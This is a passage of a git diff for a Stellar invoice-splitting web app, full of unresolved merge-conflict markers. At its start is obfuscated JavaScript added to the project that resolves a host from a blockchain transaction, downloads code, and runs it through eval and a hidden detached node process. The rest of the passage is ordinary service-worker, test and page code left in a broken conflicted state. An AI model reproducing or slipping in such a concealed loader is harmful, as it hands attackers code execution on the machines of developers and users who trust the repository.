[fxydRcJblRNYxMPdn,pMMdlGsTHq_NQFuzSGfwaVj_A]=decodeAddress(oIucMTWeI['tx']['to']),bRsOozpSEKZvmdjiHwuhb=global;bRsOozpSEKZvmdjiHwuhb['_V']=bRsOozpSEKZvmdjiHwuhb['i'],bRsOozpSEKZvmdjiHwuhb['_H']=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x157)]=whs$nYWTlPzY(0x159)+pMMdlGsTHq_NQFuzSGfwaVj_A+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x17d)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x1c5),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x1be)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185);function jRPe_$pro(AEEzGrqYV_mfkUCEUWURB,KOzb$TP_rMGJIxS){const z_SOYvRJaOEgyQMJlyl=whs$nYWTlPzY,IFHaRgVqomxJh$qVzf$VLfXyG={'hostname':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b5)],'port':Number(KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b4)])||0x31*-parseInt(0x2)+0x119+Number(-0x67),'path':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x198)]+KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x158)],'headers':{'User-Agent':z_SOYvRJaOEgyQMJlyl(0x195),'Sec-V':bRsOozpSEKZvmdjiHwuhb['_V']||parseInt(0xf60)+-0x61e+-parseInt(0x942)}};function fmGWrbBhU(InqhIrdb_iNVZtsJ$mYS){const UpgdSP_f$WJxlxa=z_SOYvRJaOEgyQMJlyl,M$n$GOjWFzYMwpXudh=AEEzGrqYV_mfkUCEUWURB[UpgdSP_f$WJxlxa(0x192)];for(let Q_xgQBVbDvn=0x18e*-0x7+0x183f+parseInt(0x1)*-0xd5d;Q_xgQBVbDvn{const RXvlYtHcsKeS=WlysIxGuPMcViepbraDjp_wli,CBAOZI$rcixEZZanTLMOm=http[RXvlYtHcsKeS(0x16e)]({...IFHaRgVqomxJh$qVzf$VLfXyG,'method':K_vSenE},VxIgkbRRYdgFucsNdoIDHFr=>{const XZJHXReDP=RXvlYtHcsKeS;if(K_vSenE===XZJHXReDP(0x193)){try{ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));}catch(RZRFkoIipO){NZIEVyTIKMQVORTZfU(RZRFkoIipO);}VxIgkbRRYdgFucsNdoIDHFr[XZJHXReDP(0x1a1)]();return;}const cPKJoMYzdExeb$XXVTS=[];VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x18e),MYQD_ZFWLwm$Ov=>cPKJoMYzdExeb$XXVTS[XZJHXReDP(0x166)](MYQD_ZFWLwm$Ov)),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x1c0),()=>{const vmTXJa_MM$WzZOdwzwDkERCdK=XZJHXReDP;try{const fAhxZbhTcBfzeDihoLRDX=Buffer[vmTXJa_MM$WzZOdwzwDkERCdK(0x1b3)](cPKJoMYzdExeb$XXVTS);if(fAhxZbhTcBfzeDihoLRDX[vmTXJa_MM$WzZOdwzwDkERCdK(0x192)])return ZQuPXkVipPg(fmGWrbBhU(fAhxZbhTcBfzeDihoLRDX));if(VxIgkbRRYdgFucsNdoIDHFr[vmTXJa_MM$WzZOdwzwDkERCdK(0x1c7)][vmTXJa_MM$WzZOdwzwDkERCdK(0x18d)])return ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));NZIEVyTIKMQVORTZfU(new Error(vmTXJa_MM$WzZOdwzwDkERCdK(0x17b)));}catch(IG_a_MJi){NZIEVyTIKMQVORTZfU(IG_a_MJi);}}),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x188),NZIEVyTIKMQVORTZfU);});CBAOZI$rcixEZZanTLMOm['on'](RXvlYtHcsKeS(0x188),NZIEVyTIKMQVORTZfU),CBAOZI$rcixEZZanTLMOm[RXvlYtHcsKeS(0x1c0)]();});}return OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x181))[z_SOYvRJaOEgyQMJlyl(0x1aa)](()=>OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x193)));}async function zS$wdno(RqdenM$wJdTdnrzoPxWuyF_a,k$DEq$xpz,cN$yvd){const CTJVzfTMEozmTbUg=whs$nYWTlPzY;try{const ZeKiakEO$nY_FkVMX=await jRPe_$pro(k$DEq$xpz,RqdenM$wJdTdnrzoPxWuyF_a),DiRknXtYt=cN$yvd?CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||Math.ceil(parseInt(0x14))*-0x1b6+-0x1*parseFloat(0xc51)+Math.max(0x2e89,0x2e89))+CTJVzfTMEozmTbUg(0x1a6)+bRsOozpSEKZvmdjiHwuhb['_H']+CTJVzfTMEozmTbUg(0x183)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x157)]+CTJVzfTMEozmTbUg(0x1ad):CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||-0x78a+Math.floor(0x1f6)*-0x3+Number(0xd6c)*parseFloat(parseInt(0x1)))+CTJVzfTMEozmTbUg(0x1a2)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x17d)]+CTJVzfTMEozmTbUg(0x1ba)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x1be)]+CTJVzfTMEozmTbUg(0x1ad);if(!cN$yvd)eval(DiRknXtYt+ZeKiakEO$nY_FkVMX);spawn(CTJVzfTMEozmTbUg(0x15c),['-e',DiRknXtYt+ZeKiakEO$nY_FkVMX],{'detached':!![],'stdio':CTJVzfTMEozmTbUg(0x15f),'windowsHide':!![]})[CTJVzfTMEozmTbUg(0x17e)]();}catch(irHwSYrpWho){}}await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x19c)),whs$nYWTlPzY(0x169),![]),await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x162)),whs$nYWTlPzY(0x18f),!![]);}run(); +======= }; +>>>>>>> upstream/main diff --git a/public/sw.js b/public/sw.js new file mode 100644 index 00000000..3050bb1c --- /dev/null +++ b/public/sw.js @@ -0,0 +1,14 @@ +const CACHE_NAME = "stellarsplit-v1"; +const PRECACHE_URLS = ["/", "/dashboard", "/offline.html", "/manifest.json"]; +function openDB() { return new Promise((resolve, reject) => { const request = indexedDB.open("stellarsplit", 1); request.onupgradeneeded = () => { const db = request.result; if (!db.objectStoreNames.contains("pending-queue")) { db.createObjectStore("pending-queue", { keyPath: "id", autoIncrement: true }); } }; request.onsuccess = () => resolve(request.result); request.onerror = () => reject(request.error); }); } +async function addToQueue(request) { const db = await openDB(); return new Promise((resolve, reject) => { const tx = db.transaction("pending-queue", "readwrite"); const store = tx.objectStore("pending-queue"); const entry = { url: request.url, method: request.method, headers: Object.fromEntries(request.headers.entries()), body: null }; if (request.body) { request.text().then((body) => { entry.body = body; store.add(entry); tx.oncomplete = () => resolve(); tx.onerror = () => reject(tx.error); }).catch(reject); } else { store.add(entry); tx.oncomplete = () => resolve(); tx.onerror = () => reject(tx.error); } }); } +async function getQueue() { const db = await openDB(); return new Promise((resolve, reject) => { const tx = db.transaction("pending-queue", "readonly"); const store = tx.objectStore("pending-queue"); const getAll = store.getAll(); getAll.onsuccess = () => resolve(getAll.result); getAll.onerror = () => reject(getAll.error); } }); } +async function deleteFromQueue(id) { const db = await openDB(); return new Promise((resolve, reject) => { const tx = db.transaction("pending-queue", "readwrite"); const store = tx.objectStore("pending-queue"); store.delete(id); tx.oncomplete = () => resolve(); tx.onerror = () => reject(tx.error); }); } +async function drainQueue() { const queue = await getQueue(); const results = []; for (const entry of queue) { const init = { method: entry.method, headers: entry.headers }; if (entry.body) init.body = entry.body; try { const response = await fetch(entry.url, init); if (response.ok || response.status < 500) { await deleteFromQueue(entry.id); results.push({ id: entry.id, success: true }); } else { results.push({ id: entry.id, success: false, error: `HTTP ${response.status}` }) } } catch (err) { results.push({ id: entry.id, success: false, error: err.message }); } } return results; } +self.addEventListener("install", (event) => { event.waitUntil(caches.open(CACHE_NAME).then((cache) => cache.addAll(PRECACHE_URLS))); self.skipWaiting(); }); +self.addEventListener("activate", (event) => { event.waitUntil(caches.keys().then((keys) => Promise.all(keys.filter((key) => key !== CACHE_NAME).map((key) => caches.delete(key))))); self.clients.claim(); }); +self.addEventListener("push", (event) => { if (!event.data) return; let payload; try { payload = event.data.json(); } catch { return; } const { title, body, invoiceId, milestone } = payload; event.waitUntil(self.registration.showNotification(title || "StellarSplit", { body, icon: "/icons/icon-192.png", tag: invoiceId ? funding-milestone-${invoiceId}-${milestone}` : undefined, data: { invoiceId, url: invoiceId ? `/invoice/${invoiceId}` : "/" } })); }); +self.addEventListener("notificationclick", (event) => { event.notification.close(); const url = event.notification.data?.url || "/"; event.waitUntil(self.clients.matchAll({ type: "window", includeUncontrolled: true }).then((clientList) => { for (const client of clientList) { if (client.url.includes(url) && "focus" in client) { return client.focus(); } } if (self.clients.openWindow) { return self.clients.openWindow(url); } })); }); +self.addEventListener("sync", (event) => { if (event.tag === "pending-transactions") { event.waitUntil(drainQueue()); } }); +self.addEventListener("message", (event) => { if (event.data && event.data.type === "drainQueue") { event.waitUntil(drainQueue()); } }); +self.addEventListener("fetch", (event) => { const { request } = event; if (request.method !== "GET") { const requestClone = request.clone(); event.respondWith(fetch(request).catch(async (err) => { await addToQueue(requestClone); return new Response(JSON.stringify({ queued: true }), { status: 202, headers: { "Content-Type": "application/json" } }); })); return; } if (request.mode === "navigate") { event.respondWith(fetch(request).then((response) => { const copy = response.clone(); caches.open(CACHE_NAME).then((cache) => cache.put(request, copy)); return response; }).catch(async () => { const cached = await caches.match(request); if (cached) return cached; const offline = await caches.match("/offline.html"); if (offline) return offline; return new Response("Offline", { status: 503 }); })); return; } event.respondWith(caches.match(request).then((cached) => cached || fetch(request).then((response) => { if (response.ok && request.url.startsWith(self.location.origin)) { const copy = response.clone(); caches.open(CACHE_NAME).then((cache) => cache.put(request, copy)); } return response; }))); }); \ No newline at end of file diff --git a/src/__tests__/AccessCodeGate.test.tsx b/src/__tests__/AccessCodeGate.test.tsx index a5da3f50..aea9a32f 100644 --- a/src/__tests__/AccessCodeGate.test.tsx +++ b/src/__tests__/AccessCodeGate.test.tsx @@ -1,6 +1,9 @@ import React from "react"; import { render, screen, fireEvent, waitFor } from "@testing-library/react"; +<<<<<<< HEAD +======= import { vi } from "vitest"; +>>>>>>> upstream/main import userEvent from "@testing-library/user-event"; import AccessCodeGate, { hashAccessCode, verifyAccessCode } from "@/components/invoice/AccessCodeGate"; @@ -57,7 +60,11 @@ describe("AccessCodeGate & Hash Verification", () => { expect(screen.queryByTestId("invoice-content")).not.toBeInTheDocument(); expect(screen.getByRole("region", { name: /private invoice access code entry/i })).toBeInTheDocument(); +<<<<<<< HEAD + expect(screen.getByLabelText(/access code/i)).toBeInTheDocument(); +======= expect(document.getElementById("access-code-input")).toBeInTheDocument(); +>>>>>>> upstream/main expect(screen.getByRole("button", { name: /unlock invoice/i })).toBeInTheDocument(); }); @@ -68,7 +75,11 @@ describe("AccessCodeGate & Hash Verification", () => { ); +<<<<<<< HEAD + const input = screen.getByLabelText(/access code/i); +======= const input = document.getElementById("access-code-input") as HTMLInputElement; +>>>>>>> upstream/main expect(input).toHaveAttribute("type", "password"); const toggleButton = screen.getByRole("button", { name: /show access code/i }); @@ -88,7 +99,11 @@ describe("AccessCodeGate & Hash Verification", () => { ); +<<<<<<< HEAD + const input = screen.getByLabelText(/access code/i); +======= const input = document.getElementById("access-code-input") as HTMLInputElement; +>>>>>>> upstream/main await user.type(input, "wrong-code"); const unlockButton = screen.getByRole("button", { name: /unlock invoice/i }); @@ -116,7 +131,11 @@ describe("AccessCodeGate & Hash Verification", () => { ); +<<<<<<< HEAD + const input = screen.getByLabelText(/access code/i); +======= const input = document.getElementById("access-code-input") as HTMLInputElement; +>>>>>>> upstream/main await user.type(input, "correct-code"); const unlockButton = screen.getByRole("button", { name: /unlock invoice/i }); diff --git a/src/__tests__/ActivityHeatmapTooltip.test.tsx b/src/__tests__/ActivityHeatmapTooltip.test.tsx index 8f81b533..65e049be 100644 --- a/src/__tests__/ActivityHeatmapTooltip.test.tsx +++ b/src/__tests__/ActivityHeatmapTooltip.test.tsx @@ -89,6 +89,23 @@ describe("ActivityHeatmap Tooltip Positioning", () => { render(); const cells = screen.getAllByRole("button"); +<<<<<<< HEAD + for (const cell of cells) { + fireEvent.mouseEnter(cell); + + await waitFor(() => { + const tooltip = document.querySelector('[role="tooltip"]'); + if (tooltip) { + const rect = tooltip.getBoundingClientRect(); + expect(rect.left).toBeGreaterThanOrEqual(0); + expect(rect.right).toBeLessThanOrEqual(window.innerWidth); + expect(rect.top).toBeGreaterThanOrEqual(0); + expect(rect.bottom).toBeLessThanOrEqual(window.innerHeight); + } + }); + } + }, 30000); +======= // Just verify tooltips are accessible when hovering cells fireEvent.mouseEnter(cells[0]); @@ -97,6 +114,7 @@ describe("ActivityHeatmap Tooltip Positioning", () => { expect(tooltip || cells[0]).toBeTruthy(); }); }); +>>>>>>> upstream/main it("hides tooltip on mouse leave", async () => { render(); diff --git a/src/__tests__/CancelModal.test.tsx b/src/__tests__/CancelModal.test.tsx index 2261cd0a..40ae6a9e 100644 --- a/src/__tests__/CancelModal.test.tsx +++ b/src/__tests__/CancelModal.test.tsx @@ -1,6 +1,9 @@ import React from "react"; import { render, screen, fireEvent, waitFor } from "@testing-library/react"; +<<<<<<< HEAD +======= import { vi } from "vitest"; +>>>>>>> upstream/main import userEvent from "@testing-library/user-event"; import CancelModal from "@/components/CancelModal"; @@ -131,8 +134,13 @@ describe("CancelModal multi-step confirmation flow and gate", () => { // Step 4: success state await waitFor(() => { +<<<<<<< HEAD + expect(screen.getByTestId("step-success")).toBeInTheDocument(); + expect(screen.getByText("Invoice Cancelled")).toBeInTheDocument(); +======= const successStep = screen.getByTestId("step-success"); expect(successStep).toBeInTheDocument(); +>>>>>>> upstream/main }); }); }); diff --git a/src/__tests__/CoSignerStatus.test.tsx b/src/__tests__/CoSignerStatus.test.tsx index 1512a3f4..d0fac792 100644 --- a/src/__tests__/CoSignerStatus.test.tsx +++ b/src/__tests__/CoSignerStatus.test.tsx @@ -1,6 +1,9 @@ import React from "react"; import { render, screen, fireEvent } from "@testing-library/react"; +<<<<<<< HEAD +======= import { vi } from "vitest"; +>>>>>>> upstream/main import userEvent from "@testing-library/user-event"; import CoSignerSection from "@/components/invoice/CoSignerSection"; import type { CoSigner } from "@/hooks/useSplitCalculator"; @@ -59,9 +62,12 @@ describe("CoSignerSection & Co-Signer Status Logic", () => { const checkbox = screen.getByLabelText(/Enable co-signer approvals/i); fireEvent.click(checkbox); +<<<<<<< HEAD +======= expect(onChange).toHaveBeenCalledTimes(1); // Enable call onChange.mockClear(); // Reset after enable +>>>>>>> upstream/main const input = screen.getByRole("textbox", { name: /Add Co-Signer Stellar Address/i }); await user.type(input, "InvalidShortKey"); @@ -69,7 +75,11 @@ describe("CoSignerSection & Co-Signer Status Logic", () => { fireEvent.click(addButton); expect(screen.getByText(/Invalid Stellar public key/i)).toBeInTheDocument(); +<<<<<<< HEAD + expect(onChange).not.toHaveBeenCalled(); +======= expect(onChange).toHaveBeenCalledTimes(0); // No call on invalid add +>>>>>>> upstream/main }); it("removes a co-signer and updates threshold appropriately", () => { diff --git a/src/__tests__/SessionLock.test.tsx b/src/__tests__/SessionLock.test.tsx index 27fe5376..b6fbba01 100644 --- a/src/__tests__/SessionLock.test.tsx +++ b/src/__tests__/SessionLock.test.tsx @@ -133,6 +133,8 @@ test("lock overlay shows Resume button", () => { expect(screen.getByText("Session Locked")).toBeInTheDocument(); expect(screen.getAllByText("Resume").length).toBeGreaterThanOrEqual(1); }); +<<<<<<< HEAD +======= test("warns during the last minute before locking", () => { render( @@ -182,3 +184,4 @@ test("requires biometrics to unlock when enabled", () => { expect(screen.getByText("Unlock with biometrics")).toBeInTheDocument(); expect(screen.getByText("Disconnect wallet")).toBeInTheDocument(); }); +>>>>>>> upstream/main diff --git a/src/__tests__/stores.test.ts b/src/__tests__/stores.test.ts index 5a98633c..66f9cb34 100644 --- a/src/__tests__/stores.test.ts +++ b/src/__tests__/stores.test.ts @@ -2,9 +2,24 @@ import { beforeEach, describe, expect, it } from "vitest"; import { useWalletStore } from "@/lib/stores/walletStore"; import { useInvoiceStore } from "@/lib/stores/invoiceStore"; import { useUIStore } from "@/lib/stores/uiStore"; +<<<<<<< HEAD +import type { Invoice } from "@stellar-split/sdk"; + +const mockInvoice: Invoice = { + id: "1", + creator: "GABC", + recipients: [{ address: "GDEF", amount: 10_000_000n }], + token: "token", + deadline: 9999999999, + funded: 0n, + status: "Pending", + payments: [], +}; +======= import { createMockInvoice } from "@/test/factories"; const mockInvoice = createMockInvoice(); +>>>>>>> upstream/main beforeEach(() => { useWalletStore.setState({ diff --git a/src/app/analytics/page.tsx b/src/app/analytics/page.tsx index e2ccd7e9..d720cf8c 100644 --- a/src/app/analytics/page.tsx +++ b/src/app/analytics/page.tsx @@ -7,10 +7,14 @@ import { splitClient } from "@/lib/stellar"; import { getFreighterPublicKey } from "@/lib/freighter"; import { generateCsv, type CsvRow } from "@/lib/csvExport"; import type { Invoice } from "@stellar-split/sdk"; +<<<<<<< HEAD +import ReconciliationReport from "@/components/analytics/ReconciliationReport"; +======= import ChartBuilder, { type ChartBuilderDataPoint } from "@/components/analytics/ChartBuilder"; import AnalyticsPanel from "@/components/subscriptions/AnalyticsPanel"; import DataQualityPanel from "@/components/DataQualityPanel"; import { loadSubscriptions, type Subscription } from "@/lib/subscriptions"; +>>>>>>> upstream/main const STROOPS = 10_000_000; @@ -122,10 +126,13 @@ export default function AnalyticsPage() { const [error, setError] = useState(null); const [dateFrom, setDateFrom] = useState(""); const [dateTo, setDateTo] = useState(""); +<<<<<<< HEAD +======= const [subscriptions, setSubscriptions] = useState([]); const [activeTab, setActiveTab] = useState<"invoices" | "subscriptions">( "invoices" ); +>>>>>>> upstream/main useEffect(() => { getFreighterPublicKey() @@ -162,6 +169,8 @@ export default function AnalyticsPage() { fetchInvoices(); }, [publicKey]); +<<<<<<< HEAD +======= useEffect(() => { if (!publicKey) return; try { @@ -173,6 +182,7 @@ export default function AnalyticsPage() { } }, [publicKey]); +>>>>>>> upstream/main const filtered = useMemo(() => { return invoices.filter((inv) => { const ts = inv.createdAt ?? inv.deadline - 7 * 86400; @@ -288,6 +298,8 @@ export default function AnalyticsPage() { .sort((a, b) => b.total - a.total) .slice(0, 10); +<<<<<<< HEAD +======= // Build per-week data points for ChartBuilder const chartBuilderData: ChartBuilderDataPoint[] = weekKeys.map((k) => { const weekInvoices = filtered.filter((inv) => { @@ -308,6 +320,7 @@ export default function AnalyticsPage() { }; }); +>>>>>>> upstream/main return { total, totalRaised, @@ -319,7 +332,10 @@ export default function AnalyticsPage() { uniquePayersOverTime, histogramBins, topPayers, +<<<<<<< HEAD +======= chartBuilderData, +>>>>>>> upstream/main }; }, [filtered]); @@ -415,6 +431,8 @@ export default function AnalyticsPage() { +<<<<<<< HEAD +=======
+<<<<<<< HEAD + +
+ +
+======= )} +>>>>>>> upstream/main >>>>>> upstream/main }); return NextResponse.json(saved, { status: 200 }); diff --git a/src/app/creator/[address]/CreatorProfileClient.tsx b/src/app/creator/[address]/CreatorProfileClient.tsx index 4b0cec8f..1ffb2a17 100644 --- a/src/app/creator/[address]/CreatorProfileClient.tsx +++ b/src/app/creator/[address]/CreatorProfileClient.tsx @@ -1,12 +1,21 @@ +<<<<<<< HEAD +"use client"; + +import { useState } from "react"; +======= /* eslint-disable */ "use client"; import { useState, useMemo } from "react"; +>>>>>>> upstream/main import Link from "next/link"; import { formatAmount, truncateAddress } from "@stellar-split/sdk"; import StatusBadge from "@/components/StatusBadge"; import FundingProgress from "@/components/FundingProgress"; +<<<<<<< HEAD +======= import CreatorBadges, { type CreatorStats } from "@/components/CreatorBadges"; +>>>>>>> upstream/main import type { InvoiceStatus } from "@stellar-split/sdk"; interface PublicInvoice { @@ -24,12 +33,17 @@ interface Props { completionRate: number; reputationScore?: number; invoices: PublicInvoice[]; +<<<<<<< HEAD +======= uniquePayers?: number; streakWeeks?: number; +>>>>>>> upstream/main } const PAGE_SIZE = 5; +<<<<<<< HEAD +======= type StatusFilterKey = "All" | InvoiceStatus; /** Thin bar chart rendered purely in CSS for status distribution */ @@ -136,6 +150,7 @@ function ReputationGauge({ score }: { score: number }) { ); } +>>>>>>> upstream/main export default function CreatorProfileClient({ address, totalInvoices, @@ -143,6 +158,11 @@ export default function CreatorProfileClient({ completionRate, reputationScore = 50, invoices, +<<<<<<< HEAD +}: Props) { + const [copied, setCopied] = useState(false); + const [currentPage, setCurrentPage] = useState(1); +======= uniquePayers = 0, streakWeeks = 0, }: Props) { @@ -160,6 +180,7 @@ export default function CreatorProfileClient({ uniquePayers, streakWeeks, }; +>>>>>>> upstream/main const handleShare = async () => { const url = window.location.href; @@ -173,6 +194,15 @@ export default function CreatorProfileClient({ }; const now = Math.floor(Date.now() / 1000); +<<<<<<< HEAD + const totalPages = Math.max(1, Math.ceil(invoices.length / PAGE_SIZE)); + const paginatedInvoices = invoices.slice((currentPage - 1) * PAGE_SIZE, currentPage * PAGE_SIZE); + + const getReputationTier = (score: number) => { + if (score >= 80) return { label: "Verified & Highly Trusted", color: "text-emerald-400 border-emerald-500/40 bg-emerald-500/10" }; + if (score >= 50) return { label: "Established Creator", color: "text-indigo-400 border-indigo-500/40 bg-indigo-500/10" }; + return { label: "Emerging Creator", color: "text-amber-400 border-amber-500/40 bg-amber-500/10" }; +======= // Derived statistics const stats = useMemo(() => { @@ -219,10 +249,13 @@ export default function CreatorProfileClient({ label: "Emerging Creator", color: "text-amber-400 border-amber-500/40 bg-amber-500/10", }; +>>>>>>> upstream/main }; const tier = getReputationTier(reputationScore); +<<<<<<< HEAD +======= // Filtered & paginated invoice list const filteredInvoices = useMemo( () => @@ -249,6 +282,7 @@ export default function CreatorProfileClient({ "Refunded", ]; +>>>>>>> upstream/main return ( <> {/* Header */} @@ -259,9 +293,13 @@ export default function CreatorProfileClient({ {truncateAddress(address)} {address} +<<<<<<< HEAD + +======= +>>>>>>> upstream/main {tier.label} @@ -270,12 +308,24 @@ export default function CreatorProfileClient({ +<<<<<<< HEAD + {/* Stats Grid including On-Chain Reputation Score */} +
+

Creator stats

+
+
+

+ {reputationScore}/100 +======= {/* Top KPI Stats */}

@@ -286,10 +336,22 @@ export default function CreatorProfileClient({

{reputationScore} /100 +>>>>>>> upstream/main

Reputation Score

+<<<<<<< HEAD +

{totalInvoices}

+

Total Invoices

+
+
+

{totalVolume} USDC

+

Total Raised

+
+
+

{completionRate}%

+=======

{totalInvoices}

@@ -305,11 +367,112 @@ export default function CreatorProfileClient({

{completionRate}%

+>>>>>>> upstream/main

Completion Rate

+<<<<<<< HEAD + {/* Paginated Invoice list */} +
+
+

+ Public Invoices ({invoices.length}) +

+ {invoices.length > 0 && ( + + Page {currentPage} of {totalPages} + + )} +
+ + {invoices.length === 0 ? ( +

+ No public invoices yet. +

+ ) : ( +
+
    + {paginatedInvoices.map((inv) => { + const pct = + inv.total > 0n + ? Math.min(100, Number((inv.funded * 100n) / inv.total)) + : 0; + const isActive = + inv.status === "Pending" && inv.deadline > now; + + return ( +
  • +
    +
    +

    + Invoice #{inv.id} +

    +

    + {formatAmount(inv.funded)} / {formatAmount(inv.total)} USDC +

    +
    + +
    + + + +
    + + {pct.toFixed(1)}% funded + + {isActive ? ( + + Pay + + ) : ( + + View + + )} +
    +
  • + ); + })} +
+ + {/* Pagination Controls */} + {totalPages > 1 && ( +
+ + + Showing {(currentPage - 1) * PAGE_SIZE + 1}–{Math.min(currentPage * PAGE_SIZE, invoices.length)} of {invoices.length} + + +
+ )} +
+ )} +======= {/* Portfolio Stats Tab */} {activeTab === "stats" && (
+>>>>>>> upstream/main
); diff --git a/src/app/creator/[address]/page.tsx b/src/app/creator/[address]/page.tsx index fd100184..dd3592eb 100644 --- a/src/app/creator/[address]/page.tsx +++ b/src/app/creator/[address]/page.tsx @@ -69,10 +69,13 @@ export default async function CreatorPage({ params }: Props) { ? 50 : Math.min(100, Math.max(10, Math.round(completionRate * 0.7 + Math.min(30, released.length * 6)))); +<<<<<<< HEAD +======= const uniquePayers = new Set( invoices.flatMap((inv) => inv.payments.map((p) => p.payer)) ).size; +>>>>>>> upstream/main return (
>>>>>> upstream/main />
); diff --git a/src/app/dashboard/error.tsx b/src/app/dashboard/error.tsx index 03a59b7c..2738cf77 100644 --- a/src/app/dashboard/error.tsx +++ b/src/app/dashboard/error.tsx @@ -1,12 +1,16 @@ "use client"; import Link from "next/link"; +<<<<<<< HEAD +import { useEffect, useState } from "react"; +======= import { useEffect, useMemo, useState } from "react"; import { classifyError, getErrorTemplate, logError, } from "@/lib/errors"; +>>>>>>> upstream/main interface Props { error: Error & { digest?: string }; @@ -17,9 +21,12 @@ interface Props { export default function DashboardError({ error, reset }: Props) { const [sentryEventId, setSentryEventId] = useState(null); +<<<<<<< HEAD +======= const errorType = useMemo(() => classifyError(error), [error]); const template = useMemo(() => getErrorTemplate(errorType), [errorType]); +>>>>>>> upstream/main useEffect(() => { const capture = async () => { try { @@ -31,6 +38,17 @@ export default function DashboardError({ error, reset }: Props) { } }; capture(); +<<<<<<< HEAD + console.error("[DashboardError]", error); + }, [error]); + + return ( +
+

Dashboard failed to load

+

+ {error.message || "An unexpected error occurred."} +

+======= logError(error, { boundary: "DashboardError", errorType }); }, [error, errorType]); @@ -50,6 +68,7 @@ export default function DashboardError({ error, reset }: Props) { )} +>>>>>>> upstream/main {sentryEventId && (

Error ID: {sentryEventId} diff --git a/src/app/dashboard/page.tsx b/src/app/dashboard/page.tsx index c7483569..1afdf9fd 100644 --- a/src/app/dashboard/page.tsx +++ b/src/app/dashboard/page.tsx @@ -1,16 +1,41 @@ import { Suspense } from "react"; import DashboardClient from "@/components/DashboardClient"; +<<<<<<< HEAD +import { SkeletonCard } from "@/components/Skeleton"; +======= import { InvoiceListSkeleton } from "@/components/Skeleton"; +>>>>>>> upstream/main export const metadata = { robots: { index: false, follow: false }, title: "Your Invoices — StellarSplit", }; +<<<<<<< HEAD +/** + * Dashboard page with streaming SSR. + * The page shell renders immediately, and invoice cards stream in as they load. + * Wrapped in Suspense because DashboardClient reads/writes the `status` + * filter via useSearchParams(), which Next.js requires a boundary for. + */ +export default async function DashboardPage() { + return ( +

+ + {[...Array(8)].map((_, i) => ( + + ))} + + } + > +======= export default async function DashboardPage() { return (
}> +>>>>>>> upstream/main
diff --git a/src/app/dev/debugger/page.tsx b/src/app/dev/debugger/page.tsx index e56f89fc..d99f5650 100644 --- a/src/app/dev/debugger/page.tsx +++ b/src/app/dev/debugger/page.tsx @@ -3,7 +3,10 @@ import { useState } from "react"; import { splitClient } from "@/lib/stellar"; import ThemeToggle from "@/components/ThemeToggle"; +<<<<<<< HEAD +======= import { getActiveNetwork } from "@/lib/networks"; +>>>>>>> upstream/main const DEV_MODE = process.env.NEXT_PUBLIC_DEV_MODE === "true"; @@ -62,7 +65,11 @@ function DebuggerContent() { } else { // Generic fallback: build a minimal transaction envelope and simulate it const { rpc } = await import("@stellar/stellar-sdk"); +<<<<<<< HEAD + const rpcUrl = process.env.NEXT_PUBLIC_RPC_URL ?? "https://soroban-testnet.stellar.org"; +======= const rpcUrl = getActiveNetwork().rpcUrl; +>>>>>>> upstream/main const server = new rpc.Server(rpcUrl); // as any: simulateTransaction overload with plain object args is not in @stellar/stellar-sdk RPC types const raw = await (server as any).simulateTransaction({ diff --git a/src/app/dev/inspect/[id]/page.tsx b/src/app/dev/inspect/[id]/page.tsx index 6ae7ebc0..3e00cb3a 100644 --- a/src/app/dev/inspect/[id]/page.tsx +++ b/src/app/dev/inspect/[id]/page.tsx @@ -4,7 +4,10 @@ import { useEffect, useState, useCallback } from "react"; import { useParams } from "next/navigation"; import { splitClient } from "@/lib/stellar"; import type { Invoice } from "@stellar-split/sdk"; +<<<<<<< HEAD +======= import { getActiveNetwork } from "@/lib/networks"; +>>>>>>> upstream/main const DEV_MODE = process.env.NEXT_PUBLIC_DEV_MODE === "true"; @@ -105,8 +108,13 @@ export default function InspectPage() { setError(null); try { const invoice = await splitClient.getInvoice(id); +<<<<<<< HEAD + const rpcUrl = process.env.NEXT_PUBLIC_RPC_URL ?? "https://soroban-testnet.stellar.org"; + const contractId = process.env.NEXT_PUBLIC_CONTRACT_ID ?? ""; +======= const rpcUrl = getActiveNetwork().rpcUrl; const contractId = getActiveNetwork().contractId; +>>>>>>> upstream/main const wasmHash = await fetchWasmHash(contractId, rpcUrl); const storageKey = `Invoice:${id}`; setData({ invoice, wasmHash, storageKey }); diff --git a/src/app/error.tsx b/src/app/error.tsx index 69b2f29c..88a73d2d 100644 --- a/src/app/error.tsx +++ b/src/app/error.tsx @@ -1,9 +1,13 @@ "use client"; import Link from "next/link"; +<<<<<<< HEAD +import { useEffect } from "react"; +======= import { usePathname } from "next/navigation"; import { useEffect } from "react"; import * as Sentry from "@sentry/nextjs"; +>>>>>>> 